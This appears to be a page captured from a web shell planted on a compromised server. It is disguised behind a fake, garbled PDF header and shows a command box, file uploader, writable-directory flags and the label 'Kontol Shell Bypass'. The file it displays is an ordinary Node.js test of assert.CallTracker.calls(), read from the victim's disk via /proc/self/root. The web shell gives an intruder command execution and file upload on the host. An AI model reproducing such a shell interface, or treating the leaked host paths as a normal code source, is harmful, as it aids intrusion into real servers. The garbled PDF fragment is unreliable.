%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/test-assert-calltracker-calls.js
'use strict';
const common = require('../common');
const assert = require('assert');

// This test ensures that assert.CallTracker.calls() works as intended.

const tracker = new assert.CallTracker();

function bar() {}

const err = {
  code: 'ERR_INVALID_ARG_TYPE',
};

// Ensures calls() throws on invalid input types.
assert.throws(() => {
  const callsbar = tracker.calls(bar, '1');
  callsbar();
}, err
);

assert.throws(() => {
  const callsbar = tracker.calls(bar, 0.1);
  callsbar();
}, { code: 'ERR_OUT_OF_RANGE' }
);

assert.throws(() => {
  const callsbar = tracker.calls(bar, true);
  callsbar();
}, err
);

assert.throws(() => {
  const callsbar = tracker.calls(bar, () => {});
  callsbar();
}, err
);

assert.throws(() => {
  const callsbar = tracker.calls(bar, null);
  callsbar();
}, err
);

// Expects an error as tracker.calls() cannot be called within a process exit
// handler.
process.on('exit', () => {
  assert.throws(() => tracker.calls(bar, 1), {
    code: 'ERR_UNAVAILABLE_DURING_EXIT',
  });
});

const msg = 'Expected to throw';

function func() {
  throw new Error(msg);
}

const callsfunc = tracker.calls(func, 1);

// Expects callsfunc() to call func() which throws an error.
assert.throws(
  () => callsfunc(),
  { message: msg }
);

{
  const tracker = new assert.CallTracker();
  const callsNoop = tracker.calls(1);
  callsNoop();
  tracker.verify();
}

{
  const tracker = new assert.CallTracker();
  const callsNoop = tracker.calls(undefined, 1);
  callsNoop();
  tracker.verify();
}

{
  function func() {}
  const tracker = new assert.CallTracker();
  const callsfunc = tracker.calls(func);
  assert.strictEqual(callsfunc.length, 0);
}

{
  function func(a, b, c = 2) {}
  const tracker = new assert.CallTracker();
  const callsfunc = tracker.calls(func);
  assert.strictEqual(callsfunc.length, 2);
}

{
  function func(a, b, c = 2) {}
  delete func.length;
  const tracker = new assert.CallTracker();
  const callsfunc = tracker.calls(func);
  assert.strictEqual(Object.hasOwn(callsfunc, 'length'), false);
}

{
  const ArrayIteratorPrototype = Reflect.getPrototypeOf(
    Array.prototype.values()
  );
  const { next } = ArrayIteratorPrototype;
  ArrayIteratorPrototype.next = common.mustNotCall(
    '%ArrayIteratorPrototype%.next'
  );
  Object.prototype.get = common.mustNotCall('%Object.prototype%.get');

  const customPropertyValue = Symbol();
  function func(a, b, c = 2) {
    return a + b + c;
  }
  func.customProperty = customPropertyValue;
  Object.defineProperty(func, 'length', { get: common.mustNotCall() });
  const tracker = new assert.CallTracker();
  const callsfunc = tracker.calls(func);
  assert.strictEqual(Object.hasOwn(callsfunc, 'length'), true);
  assert.strictEqual(callsfunc.customProperty, customPropertyValue);
  assert.strictEqual(callsfunc(1, 2, 3), 6);

  ArrayIteratorPrototype.next = next;
  delete Object.prototype.get;
}

Kontol Shell Bypass